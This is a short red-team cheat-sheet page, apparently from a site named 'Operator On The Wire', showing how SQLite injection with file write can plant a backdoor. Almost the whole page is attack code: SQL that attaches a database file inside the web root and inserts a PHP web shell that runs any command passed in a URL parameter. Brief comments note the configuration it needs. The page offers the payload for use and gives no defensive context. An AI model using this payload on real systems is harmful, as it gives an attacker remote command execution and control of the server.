Operator On The Wire
Join
← Back to Knowledge Base
RED TEAM / SQL / SQLITE / FILE ACCESS

File Write Abuse

-- Overwrite a file (rare, only if DB directory is writable)
ATTACH '/var/www/html/shell.db' AS web;

-- Create a table containing a webshell
CREATE TABLE web.pwn (data TEXT);
INSERT INTO web.pwn VALUES('<?php system($_GET["cmd"]); ?>');

-- Dump to filename
-- (Requires unsafe configuration or arbitrary file write)